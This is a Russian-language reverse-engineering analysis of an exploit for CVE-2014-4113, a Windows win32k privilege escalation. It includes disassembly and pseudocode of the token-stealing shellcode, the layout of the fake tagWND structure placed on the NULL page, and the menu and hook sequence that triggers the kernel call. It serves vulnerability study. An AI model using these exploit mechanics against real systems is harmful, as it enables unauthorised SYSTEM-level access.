04.02.2015

Анализ уязвимости CVE-2014-4113 (Windows privilege Escalation Vulnerability)

image

В этой статье будет рассмотрена уязвимость CVE-2014-4113, связанная с повышением привилегий на уровне ядра в ОС Windows.

Автор: Ronnie Johndas

В этой статье будет рассмотрена уязвимость CVE-2014-4113, связанная с повышением привилегий на уровне ядра в ОС Windows. Эксплуатация бреши происходит при помощи создания структуры tagWND на пустой странице (NULL page, 0x00000000). Мы рассмотрим, как управление передается в шеллкод и причину, по которой вредоносная структура tagWND создается именно подобным образом.

Код, выполняемый в User-Mode

Вначале исполняемый файл пытается определить тип операционной системы и номер сборки. На основе полученной информации в переменную заносится определенное значение.

Версия операционной системы

Значение переменной

Windows Xp Sp2

0c8

Windows Xp Sp1

12c

Windows Xp Sp3

0d8

Windows Server 2008

0e0

Windows 7 / Windows Server 2008 R2

0f8

Несмотря на проверку версии операционной системы, далее полученная информация никак не влияет на выполнение кода. Все вышеуказанные версии операционных систем позволяют выделять память на пустой странице (NULL page).

Далее происходит вызов «ZwQuerySystemInformation» со следующими аргументами:

|InfoType = SystemModuleInfo
Buffer = 00153850
|Bufsize = 8640 (34368.)
\pReqsize = 0012FDEC

В результате вызова получаем список модулей загруженных в kernel space (как показано ниже):

00153870 5C 57 49 4E 44 4F 57 53 5C 73 79 73 74 65 6D 33 \WINDOWS\system3
00153880 32 5C 6E 74 6B 72 6E 6C 70 61 2E 65 78 65 00 00 2\ntkrnlpa.exe..
…………………………………………………………………………………………………..
00153980 00 40 00 0C 01 00 00 00 01 00 12 00 5C 57 49 4E .@..........\WIN
00153990 44 4F 57 53 5C 73 79 73 74 65 6D 33 32 5C 68 61 DOWS\system32\ha
001539A0 6C 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 l.dll...........

В полученном списке ищется модуль «ntkrnlpa.exe» и определяется адрес загрузки этого модуля. Затем загружается ntkrnlpa.exe и определяется адрес процедуры «PsLookupProcessByProcessId». Полученный адрес вычитается из адреса загрузки ntkrnlpa.exe в user space для получения относительного виртуального адреса (RVA, Relative Virtual Address). Полученный виртуальный адрес добавляется к базовому адресу уровня ядра модуля ntkrnlpa.exe и к адресу функции, а затем копируется в определенный участок памяти, в чем-то схожий с таблицей вызовов. Впоследствии таблица вызовов будет использоваться шеллкодом для вызова экспортируемых функций модуля ntkrnlpa.exe.

Шеллкод внедрен в исполняемый файл:

004013D6 . 83EC 08 SUB ESP,8
004013D9 . 8D4424 04 LEA EAX,DWORD PTR SS:[ESP+4]
004013DD . 50 PUSH EAX
004013DE . 51 PUSH ECX
004013DF . FF15 80434000 CALL DWORD PTR DS:[404380]
004013E5 . A1 9C434000 MOV EAX,DWORD PTR DS:[40439C]
004013EA . 8D1424 LEA EDX,DWORD PTR SS:[ESP]
004013ED . 52 PUSH EDX
004013EE . 50 PUSH EAX
004013EF . FF15 80434000 CALL DWORD PTR DS:[404380]
004013FA . 8B0C24 MOV ECX,DWORD PTR SS:[ESP]
004013FD . 8B1408 MOV EDX,DWORD PTR DS:[EAX+ECX]
00401400 . 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4]
00401404 . 891408 MOV DWORD PTR DS:[EAX+ECX],EDX
00401407 . 33C0 XOR EAX,EAX
00401409 . 83C4 08 ADD ESP,8
0040140C . C2 1000 RETN 10

Псевдокод шеллкода:

PROCESS pCur, pSys ;
PsLookupProcessByProcessId (CurProcessId, &Cur);
PsLookupProcessByProcessId (SystemProcessId, &Sys);
Cur + TokenOffset = Sys + TokenOffset;
return 0 ;

Переменная TokenOffset представляет собой токен безопасности (см. ниже), содержащий привилегии процесса и находящийся внутри структуры EPROCESS:

ntdll!_EPROCESS
..............
+0x0c0 ExceptionPort : (null)
+0x0c4 ObjectTable : 0xe1000cb8 _HANDLE_TABLE
+0x0c8 Token : _EX_FAST_REF
+0x0cc WorkingSetLock : _FAST_MUTEX
+0x0ec WorkingSetPage : 0
...............

Далее создается окно:

WNDCLASS wcla ;
wcla.lpfnWndProc = FirstWndProc ;
wcla.lpszClassName = "******" ;
RegisterClass(&wcla) ;
hWnd = CreateWindowExA(0, wcla.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0) ;

Затем выделяется участок память на пустой странице при помощи функции ZwAllocateVirtualMemory с заполнением участка определенными значениями по определенным смещениям.

Одно из значений вычисляется во время выполнения участка кода либо в функции «AnimateWindow», либо в функции «CreateSystemThreads». В функции AnimateWindow участок кода выглядит следующим образом:

7E418655 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]
7E41865B 8378 40 00 CMP DWORD PTR DS:[EAX+40],0
7E41865F 0F84 F9870200 JE USER32.7E440E5E
7E418665 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]
7E41866B 8B40 40 MOV EAX,DWORD PTR DS:[EAX+40]
7E41866E C3 RETN

В вышеуказанном участке кода происходит извлечение важной структуры данных под названием “Win32 Thread address”. Полученное значение будет размещено по смещению 0x3. Остальные данные статичны (см. ниже):

0040145D |> 893D 03000000 MOV DWORD PTR DS:[3],EDI -à win32 thread address
00401463 |. C605 11000000 MOV BYTE PTR DS:[11],4
0040146A |. C705 5B000000 MOV DWORD PTR DS:[5B],x86.004013D0 à адрес кода эксплоита

Во вредоносной структуре tagWND эти поля – единственные заполняемые поля. В следующем разделе мы разберемся, почему память выделяется именно таким образом.

Далее выполняются следующие действия:

1. Создаются два всплывающих меню, и в каждое заносится по одному элементу.

2. В случае успеха происходит установка хука на процедуру WndProc1 при помощи вызова SetWindowsHookExA.

3. Далее происходит вызов TrackPopupMenu и отсылается сообщение 0x1EB. Если сообщение обнаруживается процедурой WndProc1, происходит снятие хука при помощи UnhookWindowsHook и установка нового хука при помощи функции SetWindowLongA, вызываемой WndProc2. Затем происходит вызов функции CallNextHookEx.

4. Последний вызов приведет к процедуре WndProc2. Если сообщение - 0x1EB, будет вызвана функция EndMenu и возвращено значение -5.

После нескольких вызовов в user32.dll выполнение переходит на уровень ядра.

Анализ исключений на уровне ядра и схема выполнения кода

Начать анализ исключений можно тремя способами:

1. Испортить содержимое по адресу 0x00000003 (там находится win32 thread address), что приведет к синему экрану, и начать отслеживать стек с этого места.

2. Изменить первый байт (0x83) показанного ранее шеллкода на значение 0xCC. Сие действие приведет к прерыванию в отладчике, и мы сможем начать отслеживать стек с этого места.

3. Установить аппаратную точку останова на чтение памяти по адресу 0x00000003.

Используя второй метод, вы получите содержимое стека, как показано ниже. Перед этим необходимо установить символ для Win XP Sp3 (для загрузки и установки символов используйте команды .sympath и .reload).

b24f8ba4 bf80ecc6 fffffffb 000001ed 009efef4 <Exe-Name>+0x13d0
b24f8bc8 bf8f2d0f fffffffb 000001ed 009efef4 win32k!xxxSendMessage+0x1b
b24f8c28 bf8f3679 b24f8c48 00000000 009efef4 win32k!xxxHandleMenuMessages+0x589
b24f8c74 bf923a7d e2136938 bf9ab860 00000000 win32k!xxxMNLoop+0x295
b24f8cd4 bf91287c 00000017 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x4d1
b24f8d44 8053d638 000f01dd 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xb4
b24f8d44 7c90e4f4 000f01dd 00000000 ffffd8f0 nt!KiFastCallEntry+0xf8
009eff08 7e46cf6e 7e465339 000f01dd 00000000 ntdll!KiFastSystemCallRet
009eff2c 00401784 000f01dd 00000000 ffffd8f0 USER32!NtUserTrackPopupMenuEx+0xc
009effb4 7c80b713 00000000 00000002 00140013 <Exe-Name>+0x1784
009effec 00000000 00401670 00000000 00000000 kernel32!BaseThreadStart+0x37.

В других работах (например, [1] в разделе Ссылки) уже проведен анализ по этой теме, что облегчает нашу задачу. Мы знаем, откуда начать поиски. В документе, приведенном в приложении, говорится, что проблема начинается с функции xxxHandleMenuMessages, экспортируемой из файла win32k.sys:

win32k:BF8F2C3E call win32k_xxxMNFindWindowFromPoint
win32k:BF8F2C43 mov ebx, eax
win32k:BF8F2C45 push ebx
win32k:BF8F2C46 call win32k_IsMFMWFPWindow
win32k:BF8F2C4B test eax, eax
win32k:BF8F2C4D mov [ebp+0Ch], eax
win32k:BF8F2C50 jz short loc_BF8F2C6D

Регистр ebx содержит значение -0x5 из-за вызова win32k_xxxSendMessage внутри функции xxxMNFindWindowFromPoint:

win32k:BF8CDE26 push dword ptr [edi+0Ch]
win32k:BF8CDE29 call win32k_xxxSendMessage

Регистр eax также содержит значение -0x5, которое будет передаваться далее функцией xxxMNFindWindowFromPoint. Я не разбирался, почему функция xxxSendMessage возвращает -0x5.

На данный момент в регистре ebx находится значение -0x5. Функция IsMFMWFPWindow проверяет корректность переданной структуры tagWnd. Ниже показано сравнение, закончившееся неудачно внутри функции IsMFMWFPWindow:

cmp [ebp+arg_0], 0FFFFFFFBh à arg-0 points to the passed tagWND structure

win32k:BF8F3B7F jz short loc_BF8F3B9C
win32k:BF8F3B81 cmp [ebp+arg_0], 0FFFFFFFFh
win32k:BF8F3B85 jz short loc_BF8F3B9C

Если структура некорректна, функция возвращает 0, после чего происходит переход на следующий участок кода:

win32k:BF8F2CD6 loc_BF8F2CD6: ; CODE XREF: win32k_xxxHandleMenuMessages+39Dj
win32k:BF8F2CD6 ; win32k_xxxHandleMenuMessages+3A2j
win32k:BF8F2CD6 cmp ebx, 0FFFFFFFFh
win32k:BF8F2CD9 jnz short loc_B

В вышеуказанном коде происходит сравнение значения, возвращаемого функцией xxxMNFindWindowFromPoint, со значением -0x1 (проверка заканчивается неудачно, поскольку функция возвращает -0x5). Если бы xxxMNFindWindowFromPoint возвращала -0x1, происходил бы вызов win32k_xxxMNButtonDown и win32k_xxxMNRemoveMessage, после чего происходило бы успешное завершение функции (кажется, ни win32k_xxxMNButtonDown, ни win32k_xxxMNRemoveMessage не используют значение -0x5). Теперь становится понятно, почему для работоспособности эксплоита необходим возврат значения -0x5. Поскольку проверка окончилась неудачно, выполнение переходит к следующему участку кода:

win32k:BF8F2CFF loc_BF8F2CFF:
win32k:BF8F2CFF push 0
win32k:BF8F2D01 push [ebp+arg_8]
win32k:BF8F2D04 push 1EDh
win32k:BF8F2D09 push ebx
win32k:BF8F2D0A call win32k_xxxSendMessage
win32k:BF8F2D0F jmp short loc_BF

Содержимое стека:

B2363BD0 FFFFFFFB à ebx
B2363BD4 000001ED
B2363BD8 009EFEF4
B2363BDC 00000000

Полный стек параметров (argument stack) передается в неизменном виде в функцию win32k_xxxSendMessageTimeout, где есть следующая проверка:

win32k:BF8140C7 mov esi, [ebp+tagWND]
win32k:BF8140CA cmp esi, 0FFFFFFFFh
win32k:BF8140CD jz loc_BF813F82

Если значение равно -0x1, функция завершает свою работу после вызова win32k_xxxBroadcastMessage. Однако в нашем случае проверка вновь завершается неудачно, поскольку в регистре находится значение -0x5, и выполнение переходит к следующему участку кода.

win32k:BF8140E5 mov edi, win32k_gptiCurrent
win32k:BF8140EB cmp edi, [esi+8]
win32k:BF8140EE jnz short loc_BF814157

В win32k_gptiCurrent находится Win32ThreadInfo. В примере ниже показано, как происходит установка значения переменной:

_EnterCrit@0 proc near
call ds:__imp__KeEnterCriticalRegion@0 ; KeEnterCriticalRegion()
push 1 ; Wait
push _gpresUser ; Resource
call ds:__imp__ExAcquireResourceExclusiveLite@8 ; ExAcquireResourceExclusiveLite(x,x)
call ds:__imp__PsGetCurrentThread@0 ; PsGetCurrentThread()
push eax
call ds:__imp__PsGetThreadWin32Thread@4 ; PsGetThreadWin32Thread(x)
mov _gptiCurrent, eax
retn

_EnterCrit@0 endp

Объявление функции PsGetThreadWin32Thread:

PsGetThreadWin32Thread(IN PETHREAD Thread)
{
return Thread->Tcb.Win32Thread;
}

Здесь мы видим, почему злоумышленник установил значение в регистре ESI по смещению 0x00000003 вместе с Win32ThreadInfo. В регистре ESI находится значение 0xfffffffb, и даже если Win32ThreadInfo находится по смещению 0x8, из-за содержимого регистра ESI, злоумышленник должен переместить значение по смещению 0x3 для того, чтобы корректно прочитать содержимое ESI. Далее происходит сравнение со значением в win32k_gptiCurrent. Для корректной работы эксплоита содержимое win32k_gptiCurrent и регистра ESI должно быть идентичным.

Двигаясь далее по коду, видим еще одну проверку:

win32k:BF814104 test byte ptr [esi+16h], 4 à esi = 0xfffffffb
win32k:BF814108 lea eax, [ebp+arg_10]
win32k:BF81410B push eax
win32k:BF81410C jnz loc_BF

Значение по смещению 0x16 должно быть равно 4, однако злоумышленник уже установил это число по смещению 0x11 в буфере по адресу 0x00000000, чтобы обойти проверку.

После обхода проверок, мы добираемся до момента, где начинается выполнение шеллкода:

win32k:BF81408E push dword ptr [ebp+14h]
win32k:BF814091 push dword ptr [ebp+10h]
win32k:BF814094 push ebx
win32k:BF814095 push esi
win32k:BF814096 call dword ptr [esi+60h]

Злоумышленник поместил по адресу 0x0000005B адрес шеллкода, где и происходит вызов.

Рассмотрим структуру объекта tagWND:

typedef struct tagWND
{
/*0x000*/ struct _THRDESKHEAD head;
/*0x014*/ ULONG32 state;
……………………..
/*0x060*/ PVOID lpfnWndProc;
} WND, *PWND;
typedef struct _HEAD
{
HANDLE h;
DWORD cLockObj;
} HEAD, *PHEAD;
typedef struct _THROBJHEAD
{
HEAD;
PTHREADINFO pti;
} THROBJHEAD, *PTHROBJHEAD;
//
typedef struct _THRDESKHEAD
{
THROBJHEAD;
PDESKTOP rpdesk;
PVOID pSelf; // указывает на адрес в режиме ядра
} THRDESKHEAD, *PTHRDESKHEAD;

Как видно из кода, приведенного выше (подсвечено красным), на самом деле смещение 0x8 является указателем на объект Win32ThreadInfo. Внутри Win32ThreadInfo злоумышленник поместил следующие значения:

· Значение, взятое из функции AnimateWindow.

· Значение «4», связанное элементом «состояния» по смещению 0x16.

· Значение, связанное с «lpfnWndProc» (указатель на процедурный обработчик окна), где злоумышленник поместил адрес на шеллкод.

Ссылки

1. http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/